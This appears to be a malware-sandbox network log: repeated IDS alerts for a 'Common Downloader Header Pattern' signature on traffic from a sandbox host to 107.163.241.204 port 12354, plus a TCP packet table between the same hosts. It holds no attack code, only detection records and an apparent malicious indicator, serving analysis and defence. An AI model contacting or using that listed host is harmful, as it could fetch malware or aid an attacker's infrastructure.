2024-12-11T16:28:06.097261+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50163	107.163.241.204	12354	TCP
2024-12-11T16:28:06.206587+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50166	107.163.241.204	12354	TCP
2024-12-11T16:28:07.876514+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50197	107.163.241.204	12354	TCP
2024-12-11T16:28:07.876538+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50195	107.163.241.204	12354	TCP
2024-12-11T16:28:10.112711+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50212	107.163.241.204	12354	TCP
2024-12-11T16:28:10.222735+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50214	107.163.241.204	12354	TCP
2024-12-11T16:28:11.922705+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50238	107.163.241.204	12354	TCP
2024-12-11T16:28:11.922859+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50235	107.163.241.204	12354	TCP
2024-12-11T16:28:14.159543+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50263	107.163.241.204	12354	TCP
2024-12-11T16:28:14.276039+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50266	107.163.241.204	12354	TCP
2024-12-11T16:28:15.938937+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50294	107.163.241.204	12354	TCP
2024-12-11T16:28:15.938996+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50291	107.163.241.204	12354	TCP
2024-12-11T16:28:18.176150+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50321	107.163.241.204	12354	TCP
2024-12-11T16:28:18.285509+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50323	107.163.241.204	12354	TCP
2024-12-11T16:28:19.954735+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50361	107.163.241.204	12354	TCP
2024-12-11T16:28:19.954849+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50364	107.163.241.204	12354	TCP
2024-12-11T16:28:22.218085+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50398	107.163.241.204	12354	TCP
2024-12-11T16:28:22.302475+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50402	107.163.241.204	12354	TCP
2024-12-11T16:28:23.970096+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50449	107.163.241.204	12354	TCP
2024-12-11T16:28:23.970129+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50446	107.163.241.204	12354	TCP
2024-12-11T16:28:26.324605+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50485	107.163.241.204	12354	TCP
2024-12-11T16:28:26.328450+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50490	107.163.241.204	12354	TCP
2024-12-11T16:28:28.033504+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50563	107.163.241.204	12354	TCP
2024-12-11T16:28:28.033529+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50558	107.163.241.204	12354	TCP
2024-12-11T16:28:32.820389+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50705	107.163.241.204	12354	TCP
2024-12-11T16:28:32.820450+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50744	107.163.241.204	12354	TCP
2024-12-11T16:28:35.238300+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50757	107.163.241.204	12354	TCP
2024-12-11T16:28:36.152356+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50779	107.163.241.204	12354	TCP
2024-12-11T16:28:36.986734+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50886	107.163.241.204	12354	TCP
2024-12-11T16:28:39.925616+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50957	107.163.241.204	12354	TCP
2024-12-11T16:28:41.063998+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51001	107.163.241.204	12354	TCP
2024-12-11T16:28:41.064152+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51060	107.163.241.204	12354	TCP
2024-12-11T16:28:43.303082+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51116	107.163.241.204	12354	TCP
2024-12-11T16:28:43.738730+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51129	107.163.241.204	12354	TCP
2024-12-11T16:28:45.079463+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51261	107.163.241.204	12354	TCP
2024-12-11T16:28:45.079476+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51252	107.163.241.204	12354	TCP
2024-12-11T16:28:47.471173+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51305	107.163.241.204	12354	TCP
2024-12-11T16:28:47.801167+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51327	107.163.241.204	12354	TCP
2024-12-11T16:28:49.219851+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51479	107.163.241.204	12354	TCP
2024-12-11T16:28:49.219912+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51489	107.163.241.204	12354	TCP
2024-12-11T16:28:51.616044+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51554	107.163.241.204	12354	TCP
2024-12-11T16:28:51.707209+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51561	107.163.241.204	12354	TCP
2024-12-11T16:28:53.380932+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51725	107.163.241.204	12354	TCP
2024-12-11T16:28:56.441611+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52442	107.163.241.204	12354	TCP
2024-12-11T16:28:56.582441+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52555	107.163.241.204	12354	TCP
2024-12-11T16:28:57.485653+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54587	107.163.241.204	12354	TCP
2024-12-11T16:28:57.485659+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55225	107.163.241.204	12354	TCP
2024-12-11T16:28:59.955938+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55674	107.163.241.204	12354	TCP
2024-12-11T16:29:00.566295+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56115	107.163.241.204	12354	TCP
2024-12-11T16:29:01.501669+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58350	107.163.241.204	12354	TCP
2024-12-11T16:29:01.501815+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57740	107.163.241.204	12354	TCP
2024-12-11T16:29:04.407825+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59607	107.163.241.204	12354	TCP
2024-12-11T16:29:04.723896+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59911	107.163.241.204	12354	TCP
2024-12-11T16:29:05.501483+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60490	107.163.241.204	12354	TCP
2024-12-11T16:29:05.501499+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61161	107.163.241.204	12354	TCP
2024-12-11T16:29:07.739834+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61428	107.163.241.204	12354	TCP
2024-12-11T16:29:09.065362+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62400	107.163.241.204	12354	TCP
2024-12-11T16:29:09.517592+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64443	107.163.241.204	12354	TCP
2024-12-11T16:29:09.517661+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63144	107.163.241.204	12354	TCP
2024-12-11T16:29:11.769945+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64785	107.163.241.204	12354	TCP
2024-12-11T16:29:11.944392+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64821	107.163.241.204	12354	TCP
2024-12-11T16:29:13.533038+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49514	107.163.241.204	12354	TCP
2024-12-11T16:29:13.533085+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49735	107.163.241.204	12354	TCP
2024-12-11T16:29:15.818364+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50681	107.163.241.204	12354	TCP
2024-12-11T16:29:16.311897+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51094	107.163.241.204	12354	TCP
2024-12-11T16:29:17.586342+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51995	107.163.241.204	12354	TCP
2024-12-11T16:29:17.586387+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52265	107.163.241.204	12354	TCP
2024-12-11T16:29:19.979290+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52917	107.163.241.204	12354	TCP
2024-12-11T16:29:20.661490+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53515	107.163.241.204	12354	TCP
2024-12-11T16:29:21.598530+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54764	107.163.241.204	12354	TCP
2024-12-11T16:29:21.598564+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55506	107.163.241.204	12354	TCP
2024-12-11T16:29:23.988896+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55847	107.163.241.204	12354	TCP
2024-12-11T16:29:24.364382+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56236	107.163.241.204	12354	TCP
2024-12-11T16:29:25.868183+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57119	107.163.241.204	12354	TCP
2024-12-11T16:29:25.868209+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57557	107.163.241.204	12354	TCP
2024-12-11T16:29:28.895268+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58458	107.163.241.204	12354	TCP
2024-12-11T16:29:29.038462+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58627	107.163.241.204	12354	TCP
2024-12-11T16:29:30.501039+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60268	107.163.241.204	12354	TCP
2024-12-11T16:29:30.501748+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60093	107.163.241.204	12354	TCP
2024-12-11T16:29:32.747482+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61703	107.163.241.204	12354	TCP
2024-12-11T16:29:33.020479+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61955	107.163.241.204	12354	TCP
2024-12-11T16:29:34.626444+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64100	107.163.241.204	12354	TCP
2024-12-11T16:29:34.626554+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64219	107.163.241.204	12354	TCP
2024-12-11T16:29:36.880102+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49502	107.163.241.204	12354	TCP
2024-12-11T16:29:36.975348+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49608	107.163.241.204	12354	TCP
2024-12-11T16:29:38.642207+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51520	107.163.241.204	12354	TCP
2024-12-11T16:29:38.643354+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51515	107.163.241.204	12354	TCP
2024-12-11T16:29:40.895503+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52952	107.163.241.204	12354	TCP
2024-12-11T16:29:41.083281+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53124	107.163.241.204	12354	TCP
2024-12-11T16:29:42.658035+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55119	107.163.241.204	12354	TCP
2024-12-11T16:29:42.658075+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	54970	107.163.241.204	12354	TCP
2024-12-11T16:29:44.898998+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56410	107.163.241.204	12354	TCP
2024-12-11T16:29:45.020967+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56516	107.163.241.204	12354	TCP
2024-12-11T16:29:46.673680+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58220	107.163.241.204	12354	TCP
2024-12-11T16:29:46.673810+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58374	107.163.241.204	12354	TCP
2024-12-11T16:29:48.927589+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60101	107.163.241.204	12354	TCP
2024-12-11T16:29:49.037091+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60148	107.163.241.204	12354	TCP
2024-12-11T16:29:50.694250+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61933	107.163.241.204	12354	TCP
2024-12-11T16:29:50.694407+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61760	107.163.241.204	12354	TCP
2024-12-11T16:29:52.943529+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63631	107.163.241.204	12354	TCP
2024-12-11T16:29:53.039239+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63685	107.163.241.204	12354	TCP
2024-12-11T16:29:54.704869+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49269	107.163.241.204	12354	TCP
2024-12-11T16:29:54.704961+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49419	107.163.241.204	12354	TCP
2024-12-11T16:29:56.943657+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51005	107.163.241.204	12354	TCP
2024-12-11T16:29:57.083365+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51116	107.163.241.204	12354	TCP
2024-12-11T16:29:58.764259+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53180	107.163.241.204	12354	TCP
2024-12-11T16:29:58.766796+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53106	107.163.241.204	12354	TCP
2024-12-11T16:30:01.037339+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53676	107.163.241.204	12354	TCP
2024-12-11T16:30:01.166269+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53713	107.163.241.204	12354	TCP
2024-12-11T16:30:02.798120+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55146	107.163.241.204	12354	TCP
2024-12-11T16:30:02.798401+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55172	107.163.241.204	12354	TCP
2024-12-11T16:30:05.082396+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57031	107.163.241.204	12354	TCP
2024-12-11T16:30:05.208554+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57052	107.163.241.204	12354	TCP
2024-12-11T16:30:06.814021+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58637	107.163.241.204	12354	TCP
2024-12-11T16:30:06.814065+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58760	107.163.241.204	12354	TCP
2024-12-11T16:30:09.052498+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60160	107.163.241.204	12354	TCP
2024-12-11T16:30:09.164213+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60290	107.163.241.204	12354	TCP
2024-12-11T16:30:10.823401+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61978	107.163.241.204	12354	TCP
2024-12-11T16:30:10.823456+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61998	107.163.241.204	12354	TCP
2024-12-11T16:30:13.054329+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63310	107.163.241.204	12354	TCP
2024-12-11T16:30:13.318101+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63579	107.163.241.204	12354	TCP
2024-12-11T16:30:15.008527+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64710	107.163.241.204	12354	TCP
2024-12-11T16:30:15.008716+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64986	107.163.241.204	12354	TCP
2024-12-11T16:30:17.420156+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49935	107.163.241.204	12354	TCP
2024-12-11T16:30:17.726651+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49937	107.163.241.204	12354	TCP
2024-12-11T16:30:19.408487+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	52177	107.163.241.204	12354	TCP
2024-12-11T16:30:19.408565+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51960	107.163.241.204	12354	TCP
2024-12-11T16:30:21.665651+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53501	107.163.241.204	12354	TCP
2024-12-11T16:30:21.794861+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53568	107.163.241.204	12354	TCP
2024-12-11T16:30:23.532694+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55317	107.163.241.204	12354	TCP
2024-12-11T16:30:23.532714+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55158	107.163.241.204	12354	TCP
2024-12-11T16:30:25.804269+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56820	107.163.241.204	12354	TCP
2024-12-11T16:30:25.883105+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56926	107.163.241.204	12354	TCP
2024-12-11T16:30:27.548162+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59127	107.163.241.204	12354	TCP
2024-12-11T16:30:27.548211+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59030	107.163.241.204	12354	TCP
2024-12-11T16:30:29.795818+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60620	107.163.241.204	12354	TCP
2024-12-11T16:30:29.896479+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	60744	107.163.241.204	12354	TCP
2024-12-11T16:30:31.565331+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62772	107.163.241.204	12354	TCP
2024-12-11T16:30:31.565418+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62663	107.163.241.204	12354	TCP
2024-12-11T16:30:33.820340+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	63969	107.163.241.204	12354	TCP
2024-12-11T16:30:34.399607+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64091	107.163.241.204	12354	TCP
2024-12-11T16:30:35.582468+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50169	107.163.241.204	12354	TCP
2024-12-11T16:30:35.582536+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49596	107.163.241.204	12354	TCP
2024-12-11T16:30:37.823682+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51209	107.163.241.204	12354	TCP
2024-12-11T16:30:38.024083+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51400	107.163.241.204	12354	TCP
2024-12-11T16:30:39.707607+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53400	107.163.241.204	12354	TCP
2024-12-11T16:30:39.707630+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53467	107.163.241.204	12354	TCP
2024-12-11T16:30:41.962332+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55046	107.163.241.204	12354	TCP
2024-12-11T16:30:42.053042+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55162	107.163.241.204	12354	TCP
2024-12-11T16:30:43.719839+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56948	107.163.241.204	12354	TCP
2024-12-11T16:30:43.719943+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	56809	107.163.241.204	12354	TCP
2024-12-11T16:30:45.959249+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57838	107.163.241.204	12354	TCP
2024-12-11T16:30:46.068408+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	57932	107.163.241.204	12354	TCP
2024-12-11T16:30:47.723888+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59300	107.163.241.204	12354	TCP
2024-12-11T16:30:47.723904+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	59221	107.163.241.204	12354	TCP
2024-12-11T16:30:49.959664+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61033	107.163.241.204	12354	TCP
2024-12-11T16:30:50.161986+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61040	107.163.241.204	12354	TCP
2024-12-11T16:30:51.908692+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62886	107.163.241.204	12354	TCP
2024-12-11T16:30:51.908855+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62645	107.163.241.204	12354	TCP
2024-12-11T16:30:54.147467+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64289	107.163.241.204	12354	TCP
2024-12-11T16:30:54.320924+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64346	107.163.241.204	12354	TCP
2024-12-11T16:30:55.918191+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49806	107.163.241.204	12354	TCP
2024-12-11T16:30:55.918245+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49663	107.163.241.204	12354	TCP
2024-12-11T16:30:58.146799+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51271	107.163.241.204	12354	TCP
2024-12-11T16:30:58.272046+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	51355	107.163.241.204	12354	TCP
2024-12-11T16:30:59.923397+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53259	107.163.241.204	12354	TCP
2024-12-11T16:30:59.923413+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	53335	107.163.241.204	12354	TCP
2024-12-11T16:31:02.162663+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55327	107.163.241.204	12354	TCP
2024-12-11T16:31:02.322643+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	55407	107.163.241.204	12354	TCP
2024-12-11T16:31:04.063835+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58198	107.163.241.204	12354	TCP
2024-12-11T16:31:04.064062+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58015	107.163.241.204	12354	TCP
2024-12-11T16:31:06.305334+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58788	107.163.241.204	12354	TCP
2024-12-11T16:31:06.426757+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	58926	107.163.241.204	12354	TCP
2024-12-11T16:31:08.079676+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61026	107.163.241.204	12354	TCP
2024-12-11T16:31:08.079786+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	61174	107.163.241.204	12354	TCP
2024-12-11T16:31:10.318809+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62555	107.163.241.204	12354	TCP
2024-12-11T16:31:10.444086+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	62721	107.163.241.204	12354	TCP
2024-12-11T16:31:12.095243+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64703	107.163.241.204	12354	TCP
2024-12-11T16:31:12.095243+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64700	107.163.241.204	12354	TCP
2024-12-11T16:31:14.350042+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64758	107.163.241.204	12354	TCP
2024-12-11T16:31:14.446008+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	64930	107.163.241.204	12354	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 11, 2024 16:27:16.909218073 CET	49730	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:16.909440041 CET	49731	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:17.030529976 CET	12354	49730	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:17.030550003 CET	12354	49731	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:17.030620098 CET	49730	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:17.030647039 CET	49731	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:17.030792952 CET	49730	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:17.030909061 CET	49731	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:17.153752089 CET	12354	49730	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:17.153873920 CET	12354	49731	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.146111012 CET	12354	49731	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.146130085 CET	12354	49730	107.163.241.204	192.168.2.8
Dec 11, 2024 16:27:19.146166086 CET	49731	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.146244049 CET	49730	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.171051025 CET	49731	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.171170950 CET	49730	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.283970118 CET	49749	12354	192.168.2.8	107.163.241.204
Dec 11, 2024 16:27:19.284193993 CET	49750	12354	192.168.2.8	107.163.241.204
